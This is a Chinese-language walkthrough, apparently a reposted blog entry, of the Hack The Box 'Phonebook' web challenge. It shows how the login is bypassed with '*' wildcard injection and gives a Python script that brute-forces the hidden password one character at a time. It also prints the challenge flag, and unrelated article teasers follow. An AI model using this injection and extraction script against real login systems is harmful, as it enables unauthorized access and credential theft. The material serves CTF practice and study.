Hack The Box - Web - Phonebook

news2024/11/26 15:56:11

玩一会儿htb的challenge,最近找工作,所以先玩玩web类型的。

这道题目的类型有人说是LDAP注入、有人说是like注入。LDAP这玩意08年的时候估计可能比较流行,但是现在应该没多少人用了吧,比较小众。其实LDAP这个特殊的数据库是比较契合这个题目的,PhoneBook(电话本)嘛。
图1 LDAP介绍
但是根据别人的分析其实又不太像,暂时就认为这个是like类型的注入。
有经验的师傅可以指点一下,不胜感激。

看到论坛里分享的经验,这里可以使用下面几种方式来绕过登录。

username: *
password: *

username: Reese
password: *

登录到后台之后有个搜索功能,如图2所示。
图2 后台截图
这个搜索框,看了论坛,这个搜索框没什么用。这个题目的flag是藏在Reese的密码里面的,可以在前台利用通配符*来爆破密码。根据前面的可登录性测试,其实使用下面的用户名密码也能正常登录。

username:R*
password:H*

然而使用下面的用户名密码却不能登录。

username:R*
password:h*

这里可以猜测到使用Reese、HTB*这样的组合应该也是可以登录的,所以这里写个脚本爆破就好了,下面是我写的脚本的内容。

import requests
import string
import time

url = "http://68.183.36.140:30055/login"

dic = string.ascii_letters
dic += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])


def brute():
    password = "HTB{"

    while True:
        counter = 0
        for i in dic:
            counter += 1
            tmp_password = password + i + '*'
            headers = {"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
            data = {
                "username": "Reese",
                "password": tmp_password
            }
            # 成功则添加到password字段里面
            res = requests.post(url=url, headers=headers, data=data)
            # 猜测字符正确
            if res.url != url + "?message=Authentication%20failed":
                print(res.url)
                password += i
                break
        if counter == len(dic):
            password += "}"
            break
        print(password)


if __name__ == '__main__':
    brute()
    # HTB{d1rectory_h4xx0r_is_k00l}

脚本运行的最终结果如图3所示,但是这里注意,运行脚本的时候最好吧代理关掉,或者可以使用proxy试试,不然有可能会出错,然后注意字典里面最好不要包含)*等字符,也有可能会导致出现错误。
图3 脚本截图
所以这里的密码就是HTB{d1rectory_h4xx0r_is_k00l}
图4 题目完成

不足之处

这里做题有很明显的知识的短板,比如不能判断出后台使用的到底是不是LDAP,以及看不出来后台的代码结构是什么,对于黑盒不能根据fuzz来判断出大概的后台代码。所以说太菜了,有很大的提升空间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/656719.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LwIP RAW API 实现UDP多播收发

LwIP RAW API 实现UDP多播收发实现 1、初始化 static struct udp_pcb *multicast_pcb NULL; static ip_addr_t mutlcast_send_ip; static ip_addr_t mutlcast_recv_ip;static void udp_recv_multicast(void *arg, struct udp_pcb *pcb, struct pbuf *p,const ip_addr_t *add…

安装cv2库时出现错误的一般解决方法

问题描述: 安装cv2库时出现错误 补充:cv2库的简单介绍 cv2是Python中常用的计算机视觉库OpenCV的Python接口模块。通过使用cv2模块,您可以方便地进行图像和视频的读取、处理和显示等操作。它提供了许多常用的图像处理函数和工具&#xff0…

WPF基础学习笔记3-文本控件

1.文本控件 文本控件System.Windows.Controls,TextBox继承自System.Windows.Controls.TextBoxBase类System.Windows.Controls.RichTextBox继承自System.Windows.Controls.TextBoxBase类 1.1 TextBox 表示一个控件&#xff0c;该控件可用于显示或编辑无格式文本 <Grid>&l…

Python算法练习6.17

leetcode 1768 交替合并字符串 给你两个字符串 word1 和 word2 。请你从 word1 开始&#xff0c;通过交替添加字母来合并字符串。如果一个字符串比另一个字符串长&#xff0c;就将多出来的字母追加到合并后字符串的末尾。 返回 合并后的字符串 。 输入&#xff1a;word1 &qu…

【探索 Kubernetes|作业管理篇 系列 9】Pod 的服务对象

前言 大家好&#xff0c;我是秋意零。 在上一篇中&#xff0c;我们介绍了 Pod 的生命周期以及区分 Pod 字段的层次级别&#xff0c;相信你对此有了充分的认识。 今天&#xff0c;我们还会接着以 Pod 展开&#xff0c;说说它的 “服务对象”&#xff0c;一听就知道是对 Pod 提…

RocketMQ_高级功能

目录 一、消息存储 1、存储介质以及性能对比 2、消息的存储和发送 3、消息存储结构 4、刷盘机制 二、高可用性机制 1、消息消费高可用 2、消息发送高可用 3、消息主从复制 三、负载均衡 1、Producer负载均衡 2、Consumer负载均衡 四、消息重试 1、顺序消息的重试…

微信无人托管智能客服系统

随着人工智能技术的不断发展&#xff0c;大语言模型、智能客服、垂直化场景应用和微信聊天等三方终端系统已经成为了企业营销的重要工具。这些技术的结合可以帮助企业更好地与客户进行沟通&#xff0c;提高客户满意度和忠诚度&#xff0c;从而实现营销目标。 大语言模型可以帮…

Android:绘制自定义View人脸识别框

一.绘制矩形框实现 项目开发需要自定义View实现一个人脸框&#xff0c;代码实现很平常&#xff0c;一些细节记录一下&#xff0c;方便以后查阅。 代码实现&#xff1a; 1.1 自定义人脸识别框&#xff1a; FaceView.java package com.android.example.ui.view;import andro…

018:vue中自定义el-table 表头和单元格的样式

第018个 el-table 用于展示多条结构类似的数据&#xff0c;可对数据进行排序、筛选、对比或其他自定义操作。 vue在使用element UI table的是经常要用到的&#xff0c;由于原有的表头和单元格的样式不能满足项目的需要&#xff0c;需要自己来自定义样式。同时这里也做了个overf…

B/S版医院检验科lis系统源码 云lis系统

LIS系统为实验室服务对象提供检验申请、采集标本、结果查询等功能&#xff1b;为实验室工作人员的核收标本、分送标本、传送资料、分析前处理、质量控制、单向或双向通讯、分析后处理、结果审核、打印报告、结果查询等标本检测过程提供全面的技术支持。 .Net Core LIS系统源码…

python代码性能分析

基准测试可以发现程序变慢了&#xff0c;那么是因为什么原因导致性能变慢的&#xff0c;需要进一步做代码性能分析。python同样提供了性能分析工具。 cProfile cProfile是python默认的性能分析器&#xff0c;他只测量CPU时间&#xff0c;并不关心内存消耗和其他与内存相关联的…

逻辑越权之找回机制及接口安全(35)

会涉及到这三个内容 验证会涉及到&#xff0c;暴力测试&#xff0c;绕过测试 找回会涉及到&#xff0c;客户端回显&#xff0c;respponse状态值&#xff0c;找回流程绕过 接口会涉及到&#xff0c;调用便利 找回就像是忘记密码那种&#xff0c;然后会有验证&#xff0c;手机…

知识图谱实战应用16-知识图谱在化学物质结构上的应用,快速查找化学分子式与结构

大家好,我是微学AI,今天给大家介绍一下知识图谱实战应用16-知识图谱在化学物质结构上的应用,快速查找化学分子式与结构。在化学领域,知识图谱可以应用于化学物质结构上。化学物质结构主要指分子结构和化学键的组成情况。知识图谱可以将化学物质结构的相关数据以图谱的形式展…

oVirt 4.4.10三节点超融合集群安装配置及集群扩容(三)

本篇主要记录安装及使用过程中遇到的问题<包含4.4.x, 4.5.x> 设置engine管理页面可以通过IP访问ssh连接engine服务器并在/etc/ovirt-engine/engine.conf.d新建99-custom-sso-setup.conf,添加engine节点的IP或出口IPSSO_ALTERNATE_ENGINE_FQDNS="engine103.cluster.…

MySQL 索引与事务

MySQL 索引相关知识详解与事务的详解 一、索引的概念二、索引的作用索引的副作用 三、索引是如何实现的四、创建索引的原则依据五、索引的优缺点1、优点2、缺点 六、索引的分类和创建1、普通索引2、唯一索引3、主键索引4、组合索引5、全文索引 七、索引的查看八、索引的删除1、…

操作系统2:进程的描述与控制

目录 1、什么是前驱图&#xff1f; 2、进程的定义和描述 &#xff08;1&#xff09;什么是进程&#xff1f; &#xff08;2&#xff09;进程的基本状态及转换 &#xff08;3&#xff09;挂起操作和进程状态的转换 3、进程管理中的数据结构 &#xff08;1&#xff09;进程…

楼宇照明系统在图书馆的应用介绍 安科瑞 许敏

【摘要】EIB总线作为楼宇家居自动化控制技术的主流&#xff0c;具有适应性好、功能强大与可靠性高等多方面优点&#xff0c;能很 好地满足定时、合成照度、人体检测和手控等不同的照明控制需求。通过智能化的自动控制实现了楼宇的舒适照 明和节能照明两大目标&#xff0c;克服传…

一、DSMP/OLS等夜间灯光数据贫困地区识别——理论

一、前言 对于贫困的定量研究,前人多实用传统的社会经济统计数据构建模型,但是该数据存在统计口径多源、样本获取受限等不足,不能较好的反映区域贫困的时间按序列编号。随着遥感技术的不断发展,DMSP/OLS等夜间灯光数据的广泛应用为了大范围、动态的区域贫困监测提供一种新…

c++系列之string类的常用接口函数

&#x1f497; &#x1f497; 博客:小怡同学 &#x1f497; &#x1f497; 个人简介:编程小萌新 &#x1f497; &#x1f497; 如果博客对大家有用的话&#xff0c;请点赞关注再收藏 &#x1f31e; string string时表示字符串的字符类 //使用 string类包含#include 头文件 以及…